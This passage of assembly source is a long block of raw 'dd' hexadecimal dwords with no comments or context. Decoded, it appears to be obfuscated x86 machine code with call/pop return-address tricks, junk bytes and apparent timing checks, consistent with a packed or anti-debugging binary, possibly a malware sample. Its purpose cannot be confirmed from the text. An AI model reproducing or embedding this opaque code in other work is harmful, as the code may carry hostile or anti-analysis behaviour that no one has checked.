		dd 0E9000000h, 0Eh, 0AECBA2D1h,	76A784B0h, 2AA04AA2h, 0B58BEFB2h
		dd 63AB14Fh, 0A398D6BFh, 0B5858B32h, 6A063705h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 229AC355h, 65F12677h, 0D78001D0h, 0C4868954h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B7E0C357h, 3D9EF83Ch, 800FF3B7h,	6, 1001BD29h
		dd 958B0637h, 6371875h,	0BB59589h, 0BD030637h, 6372AA5h
		dd 8B04C283h, 371185BDh, 0DF8B6606h, 6A205089h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 8791C353h, 5BCFDF69h, 8DD9BF0Fh, 3AC5D585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 8E74BFBCh, 6EBA6052h, 890C666Ch, 371A29B5h, 895B6106h
		dd 0B886h, 5E900h, 0D1D0000h, 6A45E2C2h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0B70FE9ACh, 0ACC381DFh, 0FF3F35A2h, 3AB15BB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0FBFEB5D6h, 14E8C5E9h, 20000000h, 1B4057C7h,	537A4070h
		dd 0BDD407E4h, 5D04D8F7h, 31C0C442h, 370D1595h,	95FF5B06h
		dd 6370BB9h, 3DE7BF66h,	24348950h, 0C3DE46BBh, 505ABF4Bh
		dd 0B5FF503Bh, 63AB15Bh, 4D95FFF8h, 8906372Eh, 372EFD95h
		dd 0E9BD8306h, 63719h, 55840Fh,	0BD8B0000h, 6370929h, 48D0Fh
		dd 0BB660000h, 0BB96893Bh, 29A9C280h, 8B525050h, 0F310FF8h
		dd 689h, 880F00h, 5A000000h, 6A9658h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 235040C3h
		dd 0DF596D07h, 8166D87Fh, 0FF7EE6CBh, 3AB15BB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0B73BD212h, 0AD95FFF8h, 6A063709h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 32EBC357h
		dd 4F99D278h, 0F868BB66h, 0B5FFDF8Bh, 63AB15Bh,	0B7595FFh
		dd 0B70F0637h, 9BD83FEh, 2063704h, 56840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B66E8C3h, 0E19D29FEh
		dd 8B063713h, 37117185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0ABB68941h, 0C62F3846h
		dd 0BD8B0000h, 6371C35h, 31D585C7h, 637h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 9DC549C3h, 0B5632F1h, 6646E4A4h, 57932BBFh, 5B5FF557h
		dd 0FFF437E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0FACB3E8Bh, 0BD89B09Bh
		dd 6370561h, 23418501h,	85310637h, 63729ADh, 6AC18Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 423DFC3h, 0B3BB663Eh, 66506043h, 5AEDA0B9h, 0E93CDFB9h
		dd 858D617Ah, 6370885h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 2CC35545h, 7D9D89B8h,	89063717h, 3725B5BDh
		dd 25B39006h, 5D57BB50h, 6A901E9Eh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 5CF5244Bh
		dd 13FDBD8Bh, 6A0637h, 58D0Fh, 81660000h, 8D16B3EFh, 3BFF7285h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 617B6CF6h, 0EC3E72B8h, 9D8985CDh, 6370515h
		dd 6A05C083h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 7D02C356h, 14D5602Ch, 30BFBA86h
		dd 50041364h, 84B86660h, 61D18B6Dh, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 72E6C350h, 6A4DCCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 45C35343h, 79F64E12h,	0B01BF66h, 2896EF81h
		dd 6A4450h, 1C098D31h, 95FF0637h, 6370AEDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 4DC35141h, 0B48A3B5h
		dd 0FA4DAE6h, 8Ah, 0DFB70F00h, 0A1358D8Dh, 6A063Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9D282AC3h, 5F2067B6h, 0D75BF66h, 0ABADBF66h,	6AD1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 1C89B7C3h, 82B89136h, 0BE9B8h, 0D9520000h, 0D59723A0h
		dd 4E59FAF1h, 9DBD83F3h, 1063708h, 77850Fh, 26A0000h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0EBC35141h, 0FB8B90F0h
		dd 90FE8A50h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0E2C35040h, 95FF34A7h, 6370BB9h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 0AC35545h, 399D8B3Fh
		dd 0E9063718h, 5, 2A5D9C45h, 0DC6E96Dh,	0E80000h, 5D000000h
		dd 0FF7CED81h, 8166063Bh, 8B354EF3h, 0C3858DF9h, 80063A84h
		dd 0F9023DFh, 88h, 830F5000h, 4, 0E9D1BB66h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 8D574AB3h, 12219D8Bh, 0FF640637h, 35h, 7E800h, 22390000h
		dd 0CD429C54h, 91BD0B8Bh, 5B063709h, 4E8ABB66h,	258964h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 7411C351h, 0D9B70FC8h,	2A7D85FFh
		dd 0F600637h, 584h, 0E9816600h,	830F4DEBh, 6, 850Fh, 6A610000h
		dd 0BBD88AFFh, 24EB2840h, 1C39B5FFh, 6A0637h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 81D720C3h
		dd 84F21EEBh, 0ED95FF1Dh, 0E9063700h, 0E2h, 0B0DE8Bh, 0CE8h
		dd 0FE965600h, 8A27AF56h, 0EF2123AAh, 0B7BF5311h, 5B550667h
		dd 67B8605Fh, 0F79C038h, 0E661F2B7h, 0B1B53170h, 0E4063719h
		dd 6880F71h, 81000000h,	0D39060E7h, 0F613C2Bh, 9D83h, 69BD0300h
		dd 0F06371Ch, 6BAC8B6h,	8B000000h, 372E75BDh, 66C18B06h
		dd 0C11F6FBBh, 816604E8h, 66ED67DFh, 9D8BE2F7h,	63732C5h
		dd 0D88BC82Bh, 80FCD18Bh, 63E902EBh, 8B000000h,	4E4985h
		dd 83D98B44h, 0C08307C0h, 0B99D8B00h, 29063721h, 371771B5h
		dd 0FD03B06h, 1283h, 3DBD3300h,	0E9063729h, 36h, 0D3816660h
		dd 8B61A82Bh, 0FFFFFF8Dh, 0E183F5FFh, 1F840F01h, 66000000h
		dd 4099C781h, 0FFFFA583h, 81FEFFFFh, 8EBEDCEFh,	49958970h
		dd 8A44004Eh, 0E9D9h, 0B58D0000h, 63B81B4h, 2514CF81h
		dd 6A775Bh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 19h,	1C35646h, 0D128A7Fh, 19BD8B11h,	0FF063725h, 37321995h
		dd 14E906h, 3B000000h, 0F1D7A00Dh, 47D629C4h, 502C0D0Fh
		dd 0D69BD0FFh, 19B961D1h, 6000000Fh, 0ADB58BFCh, 6106371Fh
		dd 60FCE183h, 56BA66h, 0C0DA8166h, 0D38161CFh, 301197DDh
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 4854FEA4h, 2551BD01h, 7E90637h, 0CF000000h
		dd 0FB95F014h, 0C02B75DEh, 1775EF81h, 0D22B6AC4h, 134D9D8Bh
		dd 33AD0637h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 529BCCC3h
		dd 7608595Ch, 31CDBD8Bh, 0BF0F0637h, 5EAABFFFh,	880D1FA8h
		dd 8B000000h, 372BA9BDh, 75958B06h, 0BB063718h,	3B9906CCh
		dd 11958D8Bh, 6A0637h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 56CA8AC3h, 0FCBF993h, 82h, 4D952900h
		dd 50063719h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0C19D2358h, 0E806370Bh, 0Bh,	0BB7801CEh, 891BD70Ah
		dd 0FBA3E98h, 835BD9B7h, 372D55BDh, 840F0006h, 4Ah, 0AE9h
		dd 3DB36E00h, 6F605BAh,	0B822F376h, 0
		dd 4E2B8D8Dh, 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 496616C3h, 0DC18589h, 8A0F0637h
		dd 2, 0E1FFFA8Bh, 0BD83FE8Bh, 6370F81h,	4B840F00h, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 83DEC355h, 370F81BDh, 840F0106h, 43Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 8DC35141h, 15520AECh
		dd 0F81BD83h, 0F030637h, 3DA86h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0CB80E46Ah
		dd 0B5016004h, 6371D61h, 6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 3347C353h
		dd 8B248676h, 3729E99Dh, 4E18006h, 0CFD9D2Bh, 0C90A0637h
		dd 169840Fh, 0F600000h,	58Dh, 453DBF00h, 958B148Fh, 6371B01h
		dd 138A0F61h, 0E9000000h, 0Eh, 0B938E0F0h, 0F590AA19h
		dd 0A0CBCCF0h, 858B3025h, 6372F45h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 3DC35646h, 0E0FB8783h, 9D0B865Dh
		dd 6370BF5h, 13018533h,	6A0637h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0C7198CC3h, 0FBDB3B86h
		dd 900601D4h, 50DA8B66h, 0CE9h,	2D1BBB00h, 60904F8Ch, 18F69FC9h
		dd 853190F3h, 637070Dh,	6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 5BF51DC3h, 2F2A877Ch
		dd 5810Fh, 8BF0000h, 6863F246h,	0D47E2F14h, 481C9B7h, 0A0D4EB24h
		dd 50006A2Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0B426100Eh, 1B7D8509h, 9570637h,	370561BDh
		dd 95FF5F06h, 6372B25h,	6830F56h, 8B000000h, 37235D9Dh
		dd 85895B06h, 63AB15Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0BBC35747h, 4D118749h, 430729A7h, 99BD01B9h
		dd 0E906370Fh, 1ADh, 0EE9h, 0E3C84200h,	0D8E835CAh, 80008EEFh
		dd 8B936355h, 3AB15385h, 0BE906h, 0B4DB0000h, 9ED5E272h
		dd 848D94B0h, 9D8B57A2h, 6370819h, 1800C75Bh, 8A000000h
		dd 0C5BD8BF8h, 8B063706h, 3AB157B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0C3805786h
		dd 858B5F5Ch, 6370D8Dh,	6B99589h, 6890637h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E8C35242h, 0EE9D6h
		dd 0CE80000h, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h, 2F45858Bh
		dd 81660637h, 89E203E7h, 6A0446h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 345203C3h, 96830398h
		dd 0A4B86660h, 8A5250D1h, 0B8310FD5h, 4AACFD74h, 5061585Ah
		dd 0C16347BFh, 6A9626h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 3F0073C3h, 1840Fh, 0FFF80000h, 3AB153B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0FF3F4B58h, 0BD019A09h, 6372EA1h, 2A919D2Bh
		dd 41680637h, 8B538529h, 243481D9h, 539A2ABEh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BDC35242h, 858D1C79h
		dd 63AB15Bh, 6690FE8Ah,	50251BBBh, 5F5B5356h, 51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 2595FFB9h, 8B06372Bh, 370491BDh, 11E86106h, 2A000000h
		dd 6308BCA6h, 845A1F54h, 9DD85601h, 80197F26h, 2D9983BBh
		dd 85C75F71h, 6370F81h,	3, 8357B7FCh, 3AB15BBDh, 840F0006h
		dd 3Fh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 0F0C35040h, 1625165Dh, 9E831BDh, 0D9000000h,	0E723F0D2h
		dd 0DDEC6EB4h, 1B659D23h, 0E95F0637h, 1Eh, 50FA8B66h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 99E45DC3h, 79BBCA19h, 830D9BD5h, 370F81BDh, 850F0306h
		dd 514h, 83A4EB80h, 3AB15BBDh, 840F0006h, 504h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0CCC35040h, 0DFA98C07h
		dd 0B15BB5FFh, 6A063Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0E4619C3h, 0FBACD8Bh, 680h, 31BD8900h
		dd 0FF063717h, 37335D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 28520F86h
		dd 14978CD5h, 13E9h, 25099000h,	0B655251Fh, 0BEB907AFh
		dd 3AEDF738h, 662D25E7h, 1389B589h, 8B660637h, 4FB58BD9h
		dd 6A063AB1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0F864C353h, 8BB92D76h,	372F79BDh
		dd 106C706h, 6A000100h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 8B02C353h, 0AE96861h
		dd 3000000h, 0D975C2BEh, 0C90BC1h, 525096B5h, 16B0BF66h
		dd 0BB66310Fh, 585A0FC3h, 965F5750h, 199D09h, 0B5FF0637h
		dd 63AB15Bh, 0FFFEBF0Fh, 37183D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 497B541Fh
		dd 4FB58B47h, 6A063AB1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 8247C356h, 1BB3AC7Dh
		dd 131BD8Bh, 0C3810637h, 588F5C1Bh, 5B5858Bh, 12E80637h
		dd 0EF000000h, 0E1B0716Dh, 0AE021431h, 4DC8DC49h, 85901AD8h
		dd 0BDB58905h, 5F063700h, 0C48689h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0E1ED7CC3h
		dd 75958B44h, 6A063718h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8B06C351h, 371CCD9Dh
		dd 4C28306h, 0E9F38B60h, 0Eh, 20D09E75h, 206EA06Eh, 87E5475Ch
		dd 8B615F7Dh, 371A29BDh, 20508906h, 6800Fh, 9D890000h
		dd 6372E6Dh, 0C5D5858Dh, 6A063Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 379514C3h, 0EE180B0Ah
		dd 0BE887BEh, 55000000h, 0BF2E61D9h, 0CA07AA76h, 0CE9E2A1h
		dd 4E000000h, 0F6D50A81h, 0DC4BF756h, 5BC71332h, 0B88689h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BD6EE7C3h, 8BE3A099h, 4810FD9h, 66000000h
		dd 6A2581BFh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 46141552h, 719D8B93h, 0FF063718h
		dd 3AB15BB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 216EA3F3h, 2179184Ch, 0BD2B0065h
		dd 6370FDDh, 0BB995FFh,	6A0637h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 9187C9C3h, 0E9509A7Fh, 0Ch, 0FFE8327Bh, 43D59978h, 0A5505247h
		dd 0E9243489h, 13h, 0C2A7E0A5h,	4164FF04h, 2F4857DFh, 7C69D2E8h
		dd 0FFA3CB0Dh, 3AB15BB5h, 8E906h, 0CE800000h, 0B7EB3EABh
		dd 0BD8B2EE1h, 63718F5h, 2E4D95FFh, 9D030637h, 6370461h
		dd 19E9BD83h, 0F000637h, 4984h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 49D7C8F6h
		dd 2861CB1Bh, 9589001Ah, 6370A2Dh, 24348950h, 0FE9h, 6CF84A00h
		dd 0A464B4F5h, 862942Fh, 751E1ED9h, 1DA19D8Bh, 0B5FF0637h
		dd 63AB15Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	7AC35545h, 0FF61D380h, 3709AD95h, 0A19D8B06h, 0FF06371Bh
		dd 3AB15BB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0EAE25926h, 6E936A2h, 0DF000000h
		dd 0D4693A27h, 7595FF2Fh, 6A06370Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 294CC351h
		dd 371C2D85h, 9BD8306h,	2063704h, 7C840Fh, 0DE90000h, 0BD000000h
		dd 0BFE7E433h, 27149489h, 0A7AE9819h, 1171858Bh, 6A0637h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0CEEAE6C3h, 0E843CBEDh, 11h,	0B9B0B931h, 7DEC0E61h
		dd 505914E6h, 929F8522h, 0C65B7Fh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 2101497Dh
		dd 820F359Dh, 2, 85C7DA8Bh, 63731D5h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DCC35747h
		dd 7E9h, 17B47E00h, 0C8CC9F5Fh,	0FFF346E9h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0E3E22819h, 1DA59D23h, 0C18B0637h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 4DC35141h, 0B6927433h, 1930BB0Eh
		dd 0FAEB81A3h, 0F54241D2h, 885858Dh, 6A0637h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0FE421FC3h
		dd 3357676Ah, 3707ADBDh, 0E9905F06h, 11h, 37AB0DDCh, 9A535050h
		dd 6936C468h, 0F57A2AB8h, 0E8605052h, 0Bh, 13AA1ACAh, 733905BFh
		dd 8BA61C19h, 8B6659F2h, 6A9061C1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 19FCC356h
		dd 0BA27B97h, 370CF59Dh, 55BD8906h, 6A06370Fh, 0CFBB6600h
		dd 6A006A25h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 1CE9C355h, 0B59D0996h,	8D063728h
		dd 3C0F8485h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0C0A2848Dh, 0F03138Eh, 986h, 0C18B6000h
		dd 325F89BBh, 0C0836152h, 0C1952905h, 90063732h, 0BE8h
		dd 68DD2300h, 6A19F9E1h, 0EFA0B5B8h, 310F5250h,	585A6160h
		dd 8A51505Bh, 6A905BFCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 1A88C350h, 81006AE0h
		dd 5ADA38D7h, 89006A0Ah, 371375BDh, 0ED95FF06h,	6A06370Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 3649C357h, 0CA58B624h, 317EF89Ch,	370FA19Dh
		dd 0F1BD0B06h, 8D063717h, 3AA1358Dh, 5E906h, 50820000h
		dd 9A5B0F5h, 37227585h,	6AD1FF06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 9279C356h
		dd 89DBD83h, 0F010637h,	8A85h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 598D8908h
		dd 6A06371Eh, 0DE8B6602h, 7558D89h, 0E9500637h,	0Ah, 10157690h
		dd 2D5FE87h, 4898CA5h, 52006A24h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0C9773B92h, 5E9BD8B4h
		dd 95FF4747h, 6370BB9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 1EC35242h, 0E9FC8A54h, 0D94h,	0E8h, 0ED815D00h
		dd 63C0F8Eh, 1235B529h,	6A0637h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0EB802EC3h, 0C3858D1Dh
		dd 50063A84h, 52505250h, 0FFA8B66h, 9682BB31h, 585A7E43h
		dd 6057310Fh, 585A5F61h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9996C353h
		dd 8D8DBFCBh, 858939E3h, 6371825h, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 7C1C357h,	0A6960EEBh, 0F1D7F381h,	89647F6Ch
		dd 25h,	34CB8100h, 0FF5D6FC6h, 372A7D85h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0EFE794D2h, 8B0F5E47h, 19h, 14E9h, 4D811B00h, 0C6BF3E17h
		dd 4AAE858Bh, 0EA3A5E44h, 6063B42Ah, 8BFF6AA2h,	371175BDh
		dd 59B5FF06h, 66063723h, 8E8CC381h, 0ED95FFh, 93E90637h
		dd 0F000001h, 1780h, 12E900h, 10180000h, 0ACCF5A40h, 43809EE5h
		dd 0BEC35740h, 92FD8E82h, 0BD3100B0h, 6371B65h,	605170E6h
		dd 0CE9BD29h, 8E0F0637h, 0
		dd 71E45F61h, 1BC1BD8Bh, 613C0637h, 14C830Fh, 810F0000h
		dd 13h,	0AE8h, 0AB5F8300h, 3C086FD9h, 666F4ADBh, 0F5FFB8Bh
		dd 8B0FC8B6h, 3, 0BADFBF0Fh, 6,	2A19BD8Bh, 0C18B0637h
		dd 0E8C1F88Bh, 665CB704h, 8D89E2F7h, 6372F21h, 8E9C82Bh
		dd 0A8000000h, 0D7D903CEh, 8BED71A0h, 0E840FD1h, 60000000h
		dd 2AC18D01h, 890F0637h, 0
		dd 0E0E961h, 0BD8B0000h, 6371279h, 4C4C858Bh, 0EF81505Fh
		dd 1E2DDEA9h, 0EE8h, 0FEDB1000h, 0CF0EC2C1h, 0F1153110h
		dd 815D933Ah, 0C14003CFh, 0C0835B4Eh, 1BBF6607h, 0C0838Fh
		dd 0CC1A6EBFh, 0FD03B0Dh, 2183h, 0BE900h, 0D2590000h, 170FF170h
		dd 5B8723D0h, 88E9E6h, 8B0F0000h, 6, 2D21F781h,	8D8B3E19h
		dd 0FFFFFFFFh, 4058529h, 0E1830637h, 67840F01h,	0E8000000h
		dd 0Fh,	0D0C50A11h, 9F84E8A1h, 4866279Bh, 0E9E8CB14h, 10h
		dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh,	5E85Fh
		dd 0DBF60000h, 89B5D754h, 372E15B5h, 0A5835B06h, 0FFFFFFFFh
		dd 0B1BD89FEh, 8906370Ah, 372E45BDh, 4C958906h,	0E9505F4Ch
		dd 9, 0B2B5B248h, 190EC400h, 0E921h, 0B58D0000h, 63B90CDh
		dd 11E8h, 53E55B00h, 9C9847D9h,	3031826h, 54B0DEFCh, 0BB66CDAAh
		dd 6A5B784Ch, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0C66AC7FDh, 0A8B807C8h, 13298589h
		dd 95FF0637h, 6373219h,	21FDBD8Bh, 0E9B90637h, 8B00000Dh
		dd 3700FD9Dh, 0FCE18306h, 7732B4BBh, 8501FC28h,	63706D9h
		dd 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 454BAEC3h, 0CE5B529h, 0D22B0637h,	33ADF88Ah
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0D2788C3h, 68A0F54h
		dd 89000000h, 3717B1B5h, 0DF816606h, 6ACC5Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0EF70D0C3h
		dd 8BF1A76h, 0D31F072h,	88h, 6830Fh, 0CF810000h, 4896D1D4h
		dd 1875958Bh, 0BD0B0637h, 637195Dh, 11958D8Bh, 6A0637h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E92B35C3h, 60C89915h, 0BDBD8991h, 50063712h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0EF8ADAA4h
		dd 0FDAB70Fh, 181h, 0BD83F500h,	6372D55h, 51840F00h, 66000000h
		dd 0B7F3E381h, 0B8h, 69B58900h,	8D063704h, 374E2B8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 8D0408C7h, 0C50F4DBFh, 0E9E1FF5Ch, 10h, 42E6437Eh, 778FBABFh
		dd 66D5BAEDh, 4CE7EB0Eh, 0F81BD83h, 0F000637h, 4A484h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0E098CB64h, 53BB810h, 83DABF0Fh,	370F81BDh
		dd 840F0106h, 48Ch, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0CCC35040h, 67713A5Fh, 0F7816651h, 835B945Eh
		dd 370F81BDh, 860F0306h, 422h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 17C35545h, 7E265A71h, 9F1B529h
		dd 8B600637h, 372F2D9Dh, 8C66F906h, 57006AD9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B664614h
		dd 4E180D9h, 2A299529h,	0C90A0637h, 191840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 72C27DC3h, 0FC6D90h,	1F7D9589h, 0BD8B0637h, 6370B31h
		dd 2F45858Bh, 6A0637h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 829F75C3h, 9EA36365h, 260DBD8Bh
		dd 6E90637h, 0D5000000h, 0D88ACDDBh, 1853321h, 6A063713h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0AFEBC353h, 0CA63A22h, 8952496Ch,	370BC1BDh
		dd 0E990FC06h, 11h, 108220D4h, 0B19CF96Ah, 2CA4533Ah, 106F1199h
		dd 0BB535091h, 3865E66h, 0BB66905Bh, 6A86BCh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 45C35343h, 0A2361FA0h
		dd 2C68F2B3h, 0BFFB4A5Eh, 0E566034h, 0D3240481h, 6A04D4A5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0C121C357h, 685D3A03h, 9BF8AF61h,	2B2595FFh
